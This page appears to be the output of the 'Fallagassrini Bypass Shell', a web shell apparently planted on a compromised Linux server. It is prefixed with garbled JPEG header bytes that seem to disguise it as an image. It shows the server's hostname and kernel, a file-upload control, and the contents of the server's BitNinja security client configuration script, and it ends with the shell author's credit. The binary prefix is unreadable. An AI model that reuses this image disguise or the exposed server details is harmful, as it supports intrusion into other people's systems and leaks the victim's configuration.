JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /sbin/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //sbin/bitninja-config

#!/opt/bitninja-dojo/run/bin/bitninja-dojo -c=/opt/bitninja/etc
<?php
/**
 * BitNinja linux client entry file.
 *
 * @author Egri Zsolt <ezsolt@bitninja.io>
 * @copyright  © 2021 BitNinja Inc.
 * @package    blue
 * @subpackage main
 * @version    1.0
 */

if (!is_dir('/etc/bitninja')) {
    mkdir('/etc/bitninja');
}

if ($argv[1] !== '--set') {
    $license_v2_file = "/etc/bitninja/license-v2.json";
    $options = getopt("y", ["provision-key::", "type::", "license::", "serverConfigurationMetadata::", "environmentSpecification::"]);

    $serverConfigMeta = $options['serverConfigurationMetadata'] ?? "";
    $envSpec = $options['environmentSpecification'] ?? "";

    $metaFile = '/etc/bitninja/server-meta.json';

    if ($serverConfigMeta || $envSpec) {
        setMetaData($metaFile, 'serverConfigurationMetadata', $serverConfigMeta);
        setMetaData($metaFile, 'environmentSpecification', $envSpec);
        echo PHP_EOL . "Metadata set." . PHP_EOL;
        exit(0);
    }

    $license_key = $options['provision-key'] ?? "";
    if ($license_key) {
        configLegacy("license_key", trim($license_key));
    } else {
        help();
    }

    $type = trim($options['type'] ?? "server-protection");
    $type = in_array($type, ["vps", "server-protection"]) ? $type : "server-protection";
    $license = trim($options['license'] ?? "");

    $license_v2 = [];
    if (file_exists($license_v2_file)) {
        $license_v2 = json_decode(file_get_contents($license_v2_file), true);
    }
    $license_v2["createdAt"] = gmdate("Y-m-d H:i:s");
    if ($license) {
        $license_v2["license"] = $license;
    }
    $license_v2["type"] = trim($type);

    file_put_contents($license_v2_file, json_encode($license_v2, JSON_PRETTY_PRINT));
    chmod($license_v2_file, 0400);
} else {
    if (strpos($argv[2], '=') === false){
        help("legacy");
    }

    $argv2 = explode('=', $argv[2]);
    $key = trim($argv2[0]);
    $value = trim($argv2[1]);

    configLegacy($key, $value);
}

function setMetaData($metaFile, $metaKey, $metaData) {
    if (!$metaData) {
        return;
    }

    $currentMeta = [];
    if (file_exists($metaFile)) {
        $currentMeta = json_decode(file_get_contents($metaFile), true) ?? [];

        if (!is_array($currentMeta)) {
            $currentMeta = [];
        }
    }

    $currentMeta[$metaKey] = json_decode($metaData, true);
    file_put_contents($metaFile, json_encode($currentMeta, JSON_PRETTY_PRINT));
}

function configLegacy($key, $value)
{
    $license_file = '/etc/bitninja/license.php';

    if (!is_file($license_file) || (filesize($license_file) == 0)) {
        file_put_contents($license_file, getEmptyLicense());
    }

    $lines = file('/etc/bitninja/license.php');

    foreach ($lines as $line) {
        if (strpos($line, $key) !== false){
    	$line = "\t'".$key."' => '".$value."',\n";
        }

        $res[] =$line;
    }

    $res_txt = implode("", $res);
    file_put_contents($license_file, $res_txt);
    chmod($license_file, 0400);
}

function help($mode = "")
{
    $message = "Usage: bitninja-config --provision-key=XXXXXX --license=xxxx-xxxx-xxxx-xxxx-xx"; 
    if ($mode === "legacy") {
        $message = "Usage: bitninja-config --set license_key=XXXXXX";
    }
    echo "\n$message\n\n";
    exit(1);
}

function getEmptyLicense()
{
$str= <<<EOD
/
<?php
/**
 *
 * BitNinja config file for license key
 * BitNinja Inc.
 *
 */

//You can get your license key from BitNinja Dashboard
return array(
    'Heimdall' => array (
        'license_key' => '<change_me>',
    ),
);
EOD;
    return $str;
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net